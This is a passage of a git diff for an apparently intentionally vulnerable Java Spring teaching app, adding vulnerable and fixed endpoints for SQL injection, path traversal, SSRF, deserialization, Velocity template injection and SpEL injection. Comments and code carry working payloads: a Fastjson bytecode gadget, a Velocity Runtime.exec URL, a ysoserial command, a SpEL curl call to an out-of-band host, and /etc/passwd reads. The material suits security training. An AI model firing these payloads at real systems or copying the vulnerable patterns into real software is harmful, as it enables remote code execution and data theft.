@RequestMapping(value = "/vuln03") + private String vuln03(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + // key code. Equals can also be equalsIgnoreCase. + if (NICK.equals(cookie.getName())) { + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln04") + private String vuln04(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equalsIgnoreCase(NICK)) { // key code + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + + @RequestMapping(value = "/vuln05") + private String vuln05(@CookieValue("nick") String nick) { + return "Cookie nick: " + nick; + } + + + @RequestMapping(value = "/vuln06") + private String vuln06(@CookieValue(value = "nick") String nick) { + return "Cookie nick: " + nick; + } + +} diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 14ac5bd9..57e0a6b7 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,35 +1,89 @@ package org.joychou.controller; - -import org.springframework.stereotype.Controller; +import org.joychou.security.AntObjectInputStream; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.InputStream; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; import java.io.ObjectInputStream; +import java.util.Base64; + +import static org.springframework.web.util.WebUtils.getCookie; /** - * @author: JoyChou - * @Date: 2018年06月14日 - * @Desc: 该应用必须有Commons-Collections包才能利用反序列化命令执行。 + * Deserialize RCE using Commons-Collections gadget. + * + * @author JoyChou @2018-06-14 */ - -@Controller +@RestController @RequestMapping("/deserialize") public class Deserialize { - @RequestMapping("/test") - @ResponseBody - public static String deserialize_test(HttpServletRequest request) throws Exception{ - try { - InputStream iii = request.getInputStream(); - ObjectInputStream in = new ObjectInputStream(iii); - in.readObject(); // 触发漏洞 + private static String cookieName = "rememberMe"; + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 + * Add the result to rememberMe cookie. + * + * http://localhost:8080/deserialize/rememberMe/vul + */ + @RequestMapping("/rememberMe/vul") + public String rememberMeVul(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, cookieName); + + if (null == cookie){ + return "No rememberMe cookie. Right?"; + } + + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + + return "Are u ok?"; + } + + /** + * Check deserialize class using black list. + * + * http://localhost:8080/deserialize/rememberMe/security + */ + @RequestMapping("/rememberMe/security") + public String rememberMeBlackClassCheck(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie cookie = getCookie(request, cookieName); + + if (null == cookie){ + return "No rememberMe cookie. Right?"; + } + String rememberMe = cookie.getValue(); + byte[] decoded = Base64.getDecoder().decode(rememberMe); + + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + + try{ + AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException + in.readObject(); in.close(); - return "test"; - }catch (Exception e){ - return "exception"; + } catch (InvalidClassException e) { + logger.info(e.toString()); + return e.toString(); } + + return "I'm very OK."; } + } diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 8359a1bc..684ee253 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -2,6 +2,7 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.parser.Feature; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -14,7 +15,7 @@ @RequestMapping("/fastjson") public class Fastjson { - @RequestMapping(value = "deserialize", method = {RequestMethod.POST }) + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST }) @ResponseBody public static String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 @@ -29,9 +30,10 @@ public static String Deserialize(@RequestBody String params) { } } - public static void main(String[] args){ - String str = "{\"name\": \"fastjson\"}"; - JSONObject jo = JSON.parseObject(str); - System.out.println(jo.get("name")); // fastjson + public static void main(String[] args) { + + // Open calc in mac + String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; + JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField); } } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 133ddb73..ac378219 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -9,6 +9,8 @@ import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.support.RedirectAttributes; +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; @@ -17,13 +19,11 @@ import java.nio.file.Paths; import java.util.UUID; -import static org.joychou.utils.Security.isImage; - /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.08.15 - * @desc: Java file upload + * @author JoyChou (joychou@joychou.org) + * @date 2018.08.15 + * @desc Java file upload */ @Controller @@ -136,11 +136,11 @@ private void deleteFile(File... files) { } /** - * @desc 不建议使用transferTo,因为原始的MultipartFile会被覆盖 - * @url https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 + * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + * * @param multiFile * @return - * @throws Exception */ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); @@ -154,4 +154,18 @@ private File convert(MultipartFile multiFile) throws Exception { fos.close(); return convFile; } + + /** + * Check if the file is a picture. + * + * @param file + * @return + */ + public static boolean isImage(File file) throws IOException { + BufferedImage bi = ImageIO.read(file); + if (bi == null) { + return false; + } + return true; + } } diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index 5874ffc3..d3550e4f 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -8,10 +8,10 @@ import javax.servlet.http.HttpServletRequest; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.29 - * @desc: Java获取IP安全代码 - * @detail: 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.29 + * @desc Java获取IP安全代码 + * @detail 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html */ @Controller diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java index a8ebd2ab..df922e7d 100644 --- a/src/main/java/org/joychou/controller/Index.java +++ b/src/main/java/org/joychou/controller/Index.java @@ -2,31 +2,51 @@ import com.alibaba.fastjson.JSON; +import org.apache.catalina.util.ServerInfo; import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import javax.servlet.http.HttpServletRequest; import java.util.HashMap; import java.util.Map; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.28 - * @desc: Index Page + * Index page + * + * @author JoyChou @2018-05-28 */ - @Controller public class Index { - @RequestMapping("/") + + @RequestMapping("/appInfo") @ResponseBody - public static String index() { - Map m = new HashMap(); - m.put("app_name", "java_vul_code"); + public static String appInfo(HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + Map m = new HashMap<>(); + + m.put("tomcat_version", ServerInfo.getServerInfo()); + m.put("username", username); + m.put("login", "success"); + m.put("app_name", "java security code"); m.put("java_version", System.getProperty("java.version")); m.put("fastjson_version", JSON.VERSION); // covert map to string return JSON.toJSONString(m); } + + @RequestMapping("/") + public String redirect() { + return "redirect:/index"; + } + + @RequestMapping("/index") + public static String index(Model model, HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + model.addAttribute("user", username); + return "index"; + } } diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java deleted file mode 100644 index b50ea530..00000000 --- a/src/main/java/org/joychou/controller/JSONP.java +++ /dev/null @@ -1,72 +0,0 @@ -package org.joychou.controller; - -import org.joychou.utils.Security; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - - -/** - * @author JoyChou - * @date 2018年10月24日 - */ - -@Controller -@RequestMapping("/jsonp") -public class JSONP { - - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - - - // http://localhost:8080/jsonp/referer?callback=test - @RequestMapping("/referer") - @ResponseBody - private static String referer(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - /** - * Desc: 直接访问不限制Referer,非直接访问限制Referer (开发同学喜欢这样进行JSONP测试) - * URL: http://localhost:8080/jsonp/emptyReferer?callback=test - */ - @RequestMapping("/emptyReferer") - @ResponseBody - private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { - String referer = request.getHeader("referer"); - response.setHeader("Access-Control-Allow-Origin", "*"); - Security sec = new Security(); - - // 如果referer不为空,并且referer不在安全域名白名单内,return error - // 导致空referer就会绕过校验。开发同学为了方便测试,不太喜欢校验空Referer - if (null != referer && !sec.checkSafeUrl(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - // http://localhost:8080/jsonp/sec?callback=test - @RequestMapping("/sec") - @ResponseBody - private static String sec(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String referer = request.getHeader("referer"); - Security sec = new Security(); - - if (!sec.checkSafeUrl(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java new file mode 100644 index 00000000..542f94e5 --- /dev/null +++ b/src/main/java/org/joychou/controller/Login.java @@ -0,0 +1,54 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +@Controller +public class Login { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/login") + public String login() { + return "login"; + } + + @GetMapping("/logout") + public String logoutPage (HttpServletRequest request, HttpServletResponse response) { + + String username = request.getUserPrincipal().getName(); + + Authentication auth = SecurityContextHolder.getContext().getAuthentication(); + if (auth != null) { + new SecurityContextLogoutHandler().logout(request, response, auth); + } + + String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie + for (String key : deleteCookieKey) { + Cookie cookie = new Cookie(key, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + response.addCookie(cookie); + } + + if (null == request.getUserPrincipal()) { + logger.info("USER " + username + " LOGOUT SUCCESS."); + } else { + logger.info("User " + username + " logout failed. Please try again."); + } + + return "redirect:/login?logout"; + } + +} diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java new file mode 100644 index 00000000..76f9a2ce --- /dev/null +++ b/src/main/java/org/joychou/controller/PathTraversal.java @@ -0,0 +1,56 @@ +package org.joychou.controller; + +import org.apache.commons.codec.binary.Base64; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +@RestController +public class PathTraversal { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd + */ + @GetMapping("/path_traversal/vul") + public String getImage(String filepath) throws IOException { + return getImgBase64(filepath); + } + + @GetMapping("/path_traversal/sec") + public String getImageSec(String filepath) throws IOException { + if (SecurityUtil.pathFilter(filepath) == null) { + logger.info("Illegal file path: " + filepath); + return "Bad boy. Illegal file path."; + } + return getImgBase64(filepath); + } + + private String getImgBase64(String imgFile) throws IOException { + + logger.info("Working directory: " + System.getProperty("user.dir")); + logger.info("File path: " + imgFile); + + File f = new File(imgFile); + if(f.exists() && !f.isDirectory()) { + byte[] data = Files.readAllBytes( Paths.get(imgFile) ); + return new String( Base64.encodeBase64(data) ); + } else { + return "File doesn't exist or is not a file."; + } + } + + public static void main(String[] argv) throws IOException { + String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8); + System.out.println(aa); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 8583d2db..983e3164 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -10,10 +10,10 @@ import java.io.InputStreamReader; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.05.24 - * @desc: java xxe vuls code - * @fix: 过滤造成命令执行的参数 + * @author JoyChou (joychou@joychou.org) + * @date 2018.05.24 + * @desc Java code execute + * @fix 过滤造成命令执行的参数 */ @Controller diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index 532c82ef..9275593c 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -1,58 +1,120 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.mapper.UserMapper; +import org.joychou.dao.User; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; import java.sql.*; +import java.util.List; /** - * Date:2018年08月22日 - * Author: JoyChou - * Desc: SQL注入漏洞 + * @author JoyChou (joychou@joychou.org) + * @date 2018.08.22 + * @desc SQL Injection */ -@Controller +@SuppressWarnings("Duplicates") +@RestController @RequestMapping("/sqli") public class SQLI { - @RequestMapping("/jdbc") - @ResponseBody - public static String jdbc_sqli(HttpServletRequest request){ - - String name = request.getParameter("name"); - String driver = "com.mysql.jdbc.Driver"; - String url = "jdbc:mysql://localhost:3306/sectest"; - String user = "root"; - String password = "woshishujukumima"; + private static String driver = "com.mysql.jdbc.Driver"; + @Value("${spring.datasource.url}") + private String url; + @Value("${spring.datasource.username}") + private String user; + @Value("${spring.datasource.password}") + private String password; + + @Autowired + private UserMapper userMapper; + + + /** + * Vul Code. + * http://localhost:8080/sqli/jdbc/vul?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/vul") + public String jdbc_sqli_vul(@RequestParam("username") String username){ String result = ""; try { Class.forName(driver); - Connection con = DriverManager.getConnection(url,user,password); + Connection con = DriverManager.getConnection(url, user, password); if(!con.isClosed()) System.out.println("Connecting to Database successfully."); // sqli vuln code 漏洞代码 Statement statement = con.createStatement(); - String sql = "select * from users where name = '" + name + "'"; + String sql = "select * from users where username = '" + username + "'"; System.out.println(sql); ResultSet rs = statement.executeQuery(sql); - // fix code 用预处理修复SQL注入 -// String sql = "select * from users where name = ?"; -// PreparedStatement st = con.prepareStatement(sql); -// st.setString(1, name); -// System.out.println(st.toString()); // 预处理后的sql -// ResultSet rs = st.executeQuery(); System.out.println("-----------------"); while(rs.next()){ - String res_name = rs.getString("name"); + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + result += res_name + ": " + res_pwd + "\n"; + System.out.println(res_name + ": " + res_pwd); + + } + rs.close(); + con.close(); + + + }catch (ClassNotFoundException e) { + System.out.println("Sorry,can`t find the Driver!"); + e.printStackTrace(); + }catch (SQLException e) { + e.printStackTrace(); + }catch (Exception e) { + e.printStackTrace(); + + }finally{ + System.out.println("-----------------"); + System.out.println("Connect database done."); + } + return result; + } + + + /** + * Security Code. + * http://localhost:8080/sqli/jdbc/sec?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/sec") + public String jdbc_sqli_sec(@RequestParam("username") String username){ + + String result = ""; + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if(!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + + // fix code + String sql = "select * from users where username = ?"; + PreparedStatement st = con.prepareStatement(sql); + st.setString(1, username); + System.out.println(st.toString()); // sql after prepare statement + ResultSet rs = st.executeQuery(); + + System.out.println("-----------------"); + + while(rs.next()){ + String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); result += res_name + ": " + res_pwd + "\n"; System.out.println(res_name + ": " + res_pwd); @@ -77,4 +139,60 @@ public static String jdbc_sqli(HttpServletRequest request){ return result; } + /** + * vul code + * http://localhost:8080/sqli/mybatis/vul01?username=joychou' or '1'='1 + * + * @param username username + */ + @GetMapping("/mybatis/vul01") + public List mybatis_vul1(@RequestParam("username") String username) { + return userMapper.findByUserNameVul(username); + } + + /** + * vul code + * http://localhost:8080/sqli/mybatis/vul02?username=joychou' or '1'='1' %23 + * + * @param username username + */ + @GetMapping("/mybatis/vul02") + public List mybatis_vul2(@RequestParam("username") String username) { + return userMapper.findByUserNameVul2(username); + } + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec01?username=joychou + * + * @param username username + */ + @GetMapping("/mybatis/sec01") + public User mybatis_sec1(@RequestParam("username") String username) { + return userMapper.findByUserName(username); + } + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec02?id=1 + * + * @param id id + */ + @GetMapping("/mybatis/sec02") + public User mybatis_sec2(@RequestParam("id") Integer id) { + return userMapper.findById(id); + } + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec03 + **/ + @GetMapping("/mybatis/sec03") + public User mybatis_sec3() { + return userMapper.OrderByUsername(); + } + + } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index d3d54c33..fca0e63a 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -2,11 +2,15 @@ import com.google.common.io.Files; import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; import org.apache.http.HttpResponse; +import org.apache.http.HttpStatus; import org.apache.http.client.fluent.Request; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; +import org.joychou.security.SecurityUtil; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @@ -22,13 +26,11 @@ /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2017.12.28 - * @desc: java ssrf vuls code - * @fix: https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java + * @author JoyChou (joychou@joychou.org) + * @date 2017.12.28 + * @desc Java ssrf vuls code. */ - @Controller @RequestMapping("/ssrf") public class SSRF { @@ -96,6 +98,14 @@ public static String ssrf_Request(HttpServletRequest request) } + /** + * Download the url file. + * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + * + * new URL(String url).openConnection() + * new URL(String url).openStream() + * new URL(String url).getContent() + */ @RequestMapping("/openStream") @ResponseBody public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException { @@ -152,6 +162,11 @@ public static void ssrf_okhttp(HttpServletRequest request) throws IOException { } + /** + * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com + * + * @return The response of url param. + */ @RequestMapping("/HttpClient") @ResponseBody public static String ssrf_HttpClient(HttpServletRequest request) { @@ -174,4 +189,75 @@ public static String ssrf_HttpClient(HttpServletRequest request) { } } + + + /** + * Safe code. + * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com + * + */ + @RequestMapping("/commonsHttpClient") + @ResponseBody + public static String commonsHttpClient(HttpServletRequest request) { + + String url = request.getParameter("url"); + + // Security check + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Bad man. I got u."; + } + // Create an instance of HttpClient. + HttpClient client = new HttpClient(); + + // Create a method instance. + GetMethod method = new GetMethod(url); + + // forbid 302 redirection + method.setFollowRedirects(false); + + try { + // Send http request. + int status_code = client.executeMethod(method); + + // Only allow the url that status_code is 200. + if (status_code != HttpStatus.SC_OK) { + return "Method failed: " + method.getStatusLine(); + } + + // Read the response body. + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + + + } + + + /** + * Safe code. + * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com + * + */ + @RequestMapping("/ImageIO_safe") + @ResponseBody + public static String ssrf_ImageIO_safecode(HttpServletRequest request) { + String url = request.getParameter("url"); + try { + URL u = new URL(url); + if (!SecurityUtil.checkSSRF(url)) { + return "SSRF check failed."; + } + ImageIO.read(u); // send request + } catch (Exception e) { + return e.toString(); + } + + return "ImageIO ssrf safe code."; + } } diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java new file mode 100644 index 00000000..70e7c7a6 --- /dev/null +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -0,0 +1,39 @@ +package org.joychou.controller; + + +import org.apache.velocity.VelocityContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import org.apache.velocity.app.Velocity; + +import java.io.StringWriter; + +@RestController +@RequestMapping("/ssti") +public class SSTI { + + /** + * SSTI of Java velocity. The latest Velocity version still has this problem. + * Fix method: Avoid to use Velocity.evaluate method. + * + * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) + * Open a calculator in MacOS. + * + * @param template exp + */ + @GetMapping("/velocity") + private static void velocity(String template){ + Velocity.init(); + + VelocityContext context = new VelocityContext(); + + context.put("author", "Elliot A."); + context.put("address", "217 E Broadway"); + context.put("phone", "555-1337"); + + StringWriter swOut = new StringWriter(); + Velocity.evaluate(context, swOut, "test", template); + } +} diff --git a/src/main/java/org/joychou/controller/SPEL.java b/src/main/java/org/joychou/controller/SpEL.java similarity index 52% rename from src/main/java/org/joychou/controller/SPEL.java rename to src/main/java/org/joychou/controller/SpEL.java index 481aed46..28fdafde 100644 --- a/src/main/java/org/joychou/controller/SPEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,29 +1,30 @@ package org.joychou.controller; +import org.springframework.expression.EvaluationContext; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import javax.servlet.http.HttpServletRequest; +import org.springframework.web.bind.annotation.RestController; -/* - * Author: JoyChou - * Date: 2019年01月17日 - * Desc: SPEL导致的RCE - * Usage: http://localhost:8080/spel/rce?expression=xxx(xxx为exp的URL编码后的值) - * Exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") - */ -@Controller -@RequestMapping("/spel") -public class SPEL { +/** + * SpEL Injection + * + * @author JoyChou @2019-01-17 + */ +@RestController +public class SpEL { - @RequestMapping("/rce") - @ResponseBody - private static String rce(HttpServletRequest request) { - String expression = request.getParameter("expression"); + /** + * SPEL to RCE + * http://localhost:8080/spel/vul/?expression=xxx. + * xxx is urlencode(exp) + * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + */ + @RequestMapping("/spel/vul") + private static String rce(String expression) { ExpressionParser parser = new SpelExpressionParser(); + // fix method: SimpleEvaluationContext String result = parser.parseExpression(expression).getValue().toString(); return result; } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java new file mode 100644 index 00000000..902b2269 --- /dev/null +++ b/src/main/java/org/joychou/controller/Test.java @@ -0,0 +1,27 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import 